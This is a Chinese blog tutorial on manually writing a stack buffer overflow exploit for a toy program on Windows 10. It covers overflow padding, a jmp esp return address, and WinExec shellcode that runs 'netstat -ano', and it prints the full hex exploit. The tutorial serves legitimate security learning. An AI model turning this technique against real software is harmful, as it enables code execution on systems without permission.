0x01 介绍

Exploit 的英文意思就是利用,它在黑客眼里就是漏洞利用。有漏洞不一定就有Exploit(利用),有Exploit就肯定有漏洞。编写缓冲区溢出的Exploit分为3个方面:漏洞溢出长度+返回地址利用+shellcode

测试环境:C-free5 + Windows10 + 2019年1月25日

0x02 测试漏洞溢出长度

1、测试漏洞溢出长度意思是看看可利用的漏洞需要多少字节溢出到返回地址,下面是示例程序2、这个程序储存test[5]这个字符串变量的栈地址是这样的3、所以需要24个字节才能完全覆盖返回地址(20到24的4个字节为返回地址),下面是溢出的16进制代码共16字节,那么溢出的代码就完成了,下面要利用返回地址

\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41

0x03 返回地址利用

1、程序已经覆盖了返回地址了,那怎么才能跳到我们的shellcode呢,这时候就需要利用返回地址了,学习的时候讲了一种方法就是利用jmp esp来跳到shellcode,意思是溢出到返回地址返回的时候(esp这时候是指向返回地址的),利用返回地址跳到jmp esp这个语句,之后执行jmp esp就会跳到原先的返回地址,之后的数据代码就会被当作程序代码执行,从而达到了返回地址的利用

2、那么怎么找到jmp esp这个语句呢,需要编写特定的程序在常驻在内存中的dll中寻找,这里我网上搜索了一个,恰好我的windows10操作系统能用(可能开了过多的服务…),以下就是返回地址0x7FFA4512

"\x12\x45\xfa\x7f"

0x04 编写shellcode

1、shellcode就是执行的代码,至于怎么执行依据功能而定,比如简单的可以弹出对话框、执行cmd程序、关机等,复杂的可能进行网络通讯,监控系统,关闭杀毒软件,传输木马病毒等等

2、如何编写shellcode呢,要想被系统执行,通常为16进制的汇编代码,利用OD就可以编写了,这里我编写的是执行netstat -ano这个系统命令

ps:编写shellcode有非常多的问题,主要体现在API函数的调用上面,只要调用的时候除了一点点错误,系统都不会将数据复制进来,换句话说只要一个API出错,这个API下面的代码都白搭,都不会执行卡在那了。下图代码的意思就不说了,自己百度,不然又是几个小时3、代码给贴出来了,如果不懂可以看:栈储存字符串的原理
push ebp // 压入ebp,保存环境
mov ebp,esp // 这个不多说了吧
push eax // 预留16字节栈空间储存"netstat -ano"
push eax // push一个eax4个字节
push eax
push eax
mov byte ptr ss:[ebp-0x10],0x6E // 字符串 “n”
mov byte ptr ss:[ebp-0xF],0x65 // 字符串 “e”
mov byte ptr ss:[ebp-0xE],0x74 // 字符串 “t”
mov byte ptr ss:[ebp-0xD],0x73 // 字符串 “s”
mov byte ptr ss:[ebp-0xC],0x74 // 字符串 “t”
mov byte ptr ss:[ebp-0xB],0x61 // 字符串 “a”
mov byte ptr ss:[ebp-0xA],0x74 // 字符串 “t”
mov byte ptr ss:[ebp-0x9],0x20 // 字符串 “空格”
mov byte ptr ss:[ebp-0x8],0x2D // 字符串 “-”
mov byte ptr ss:[ebp-0x7],0x61 // 字符串 “a”
mov byte ptr ss:[ebp-0x6],0x6E // 字符串 “n”
mov byte ptr ss:[ebp-0x5],0x6F // 字符串 “o”
push 0x1 // 压入第二个参数0x1也就是SW_SHOWNORMAL(汇编调用API压参数是反过来的)
lea eax,dword ptr ss:[ebp-0x10]
push eax //压入第一个参数也就是字符串“netstat -ano”的首地址ebp-0x10
call WinExec //调用WinExec这个函数,这个注意了每台机器上的机器码可能不同

4、贴出WinExec函数原型

5、对应的机器码,就是OD代码右边的东西

"\x55"
"\x8b\xec"
"\x50"
"\x50"
"\x50"
"\x50"
"\xc6\x45\xf0\x6e"
"\xc6\x45\xf1\x65"
"\xc6\x45\xf2\x74"
"\xc6\x45\xf3\x73"
"\xc6\x45\xf4\x74"
"\xc6\x45\xf5\x61"
"\xc6\x45\xf6\x74"
"\xc6\x45\xf7\x20"
"\xc6\x45\xf8\x2d"
"\xc6\x45\xf9\x61"
"\xc6\x45\xfa\x6e"
"\xc6\x45\xfb\x6f"
"\x6a\x01"
"\x8d\x45\xf0"
"\x50"
"\xe8\x16\x3a\xb0\x74"

0x5 组合代码形成Exploit

16进制代码的顺序为:漏洞溢出长度+返回地址利用+shellcode

"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"                    // 溢出代码
"\x12\x45\xfa\x7f"                    // 返回地址
"\x55"                                        // shellcode
"\x8b\xec"
"\x50"
"\x50"
"\x50"
"\x50"
"\xc6\x45\xf0\x6e"
"\xc6\x45\xf1\x65"
"\xc6\x45\xf2\x74"
"\xc6\x45\xf3\x73"
"\xc6\x45\xf4\x74"
"\xc6\x45\xf5\x61"
"\xc6\x45\xf6\x74"
"\xc6\x45\xf7\x20"
"\xc6\x45\xf8\x2d"
"\xc6\x45\xf9\x61"
"\xc6\x45\xfa\x6e"
"\xc6\x45\xfb\x6f"
"\x6a\x01"
"\x8d\x45\xf0"
"\x50"
"\xe8\x16\x3a\xb0\x74"

0x6 测试

成功运行了netstat -ano这个命令,本次学习测试到此结束

缓冲区溢出之栈溢出利用(手动编写无 payload 的 Exploit)相关推荐

  1. 浅析缓冲区溢出漏洞的利用与Shellcode编写

    文章目录 前言 汇编语言 寄存器 内存堆栈 CPU指令 函数调用 缓冲区溢出 栈溢出原理 栈溢出攻击 ShellCode 总结 前言 缓冲区溢出(Buffer Overflow)是计算机安全领域内既经 ...

  2. [转]浅谈缓冲区溢出之栈溢出

    浅谈缓冲区溢出之栈溢出 By 浅墨 发表于 2012-12-02 有段时间没有用windows了,刚一开机又是系统补丁更新.匆匆瞥了一眼看到了"内核缓冲区溢出漏洞补丁"几个字眼.靠 ...

  3. 缓冲区溢出(栈溢出)

    栈溢出(缓冲区溢出) 文章目录 栈溢出(缓冲区溢出) 堆栈: Call指令: 栈溢出(缓冲区溢出): 在了解栈溢出之前,我们需要了解几个概念:堆栈是什么以及汇编语言中的call指令的特点. 堆栈: ​ ...

  4. 浅谈缓冲区溢出之栈溢出上

    有段时间没有用windows了,刚一开机又是系统补丁更新.匆匆瞥了一眼看到了"内核缓冲区溢出漏洞补丁"几个字眼.靠,又是内核补丁.打完这个补丁后MD的内核符号文件又得更新了.于是抱 ...

  5. 什么是缓冲区溢出以及如何利用漏洞?

    在信息安全和编程中,缓冲区溢出是一种异常,其中程序在将数据写入缓冲区时会超出缓冲区边界并覆盖相邻的内存位置.缓冲区是留出的用于存储数据的内存区域,通常是在将数据从程序的一个部分移动到另一部分或在程序之 ...

  6. 缓冲区溢出(栈溢出)实验 之 JMP ESP

    3.缓冲区溢出之JMP ESP 本文属于原创,如有错误请指正.其中引用他人的部分已经标出,如涉及版权问题请联系本人 这里不得不讲一讲JMP ESP的原理了,在实验之前我一直没看懂他是如何试下跳转ESP ...

  7. 缓冲区溢出漏洞攻击演示实验(CProxy 6.2缓冲区溢出漏洞)

    实验内容: 分析缓冲区溢出漏洞,利用CCProxy 6.2的这个缓冲区溢出漏洞,利用ping命令向其发送一个长的字符串,溢出局部变量,覆盖RET的位置,从而实现程序跳转到自己想要让其执行的程序上去. ...

  8. 软件漏洞及缓冲区溢出

    软件漏洞及缓冲区溢出 文章作者:davy_yan 本文是我做溢出的一点心得,希望大家提出宝贵的修改意见,也希望对大家有一定的帮助:) 软件漏洞及缓冲区溢出 一.     缓冲区溢出的发展简史 1.   ...

  9. Kali学习笔记21:缓冲区溢出实验(漏洞发现)

    上一篇文章,我已经做好了缓冲区溢出实验的准备工作: https://www.cnblogs.com/xuyiqing/p/9835561.html 下面就是Kali虚拟机对缓冲区溢出的测试: 已经知道 ...

最新文章

  1. php sql报错1054 in,sql语句拼接 报错
  2. loop指令 c语言,arm汇编loop指令
  3. Java servlet项目里的web.xml
  4. runtime--实现篇02(Category增加属性)
  5. 自然语言处理-LDA主题模型
  6. ARP监听渗透内网的方法
  7. Bouncy Castle 加密库修复高危的认证绕过漏洞
  8. 数据库原理(一)—— 关系代数(二)
  9. 对话框--popdialog总结
  10. FreeBSD使用网易镜像来安装软件
  11. 关闭笔记本电脑计算机键盘,笔记本电脑键盘怎么关_笔记本电脑键盘关闭步骤-win7之家...
  12. QQ斗地主记牌器(只支持角色版)
  13. latex图片及其标题居右
  14. python爬不同图片分别保存在不同文件夹中的实现
  15. Hololens动态显示图片
  16. Angular +Ionic实现关注与取消关注
  17. [大话设计模式C++版] 第17章 在NBA我需要翻译 —— 适配器模式
  18. Fail to allocate bitmap
  19. Flink 网络流控和反压剖析详解
  20. 2022-2028全球可观察性解决方案套件软件行业调研及趋势分析报告

热门文章

  1. ILRuntime篇:介绍并下载运行官方案例
  2. 【转】Java并发编程:并发容器之ConcurrentHashMap
  3. 《行为经济学》北京大学 孟涓涓 第四章
  4. 【基础】python-docx包之----设置段落样式(缩进/对齐/间距)
  5. 【SGU 448】Controlled Tournament(状态压缩动态规划)
  6. (转)高并发高流量网站架构详解
  7. 已知三点求圆心和半径
  8. 微信小程序——定义事件相关
  9. 基于Android的移动学习软件的设计与实现
  10. Android 音视频开发实践系列-04-Android WebRTC推流到SRS服务器实现直播功能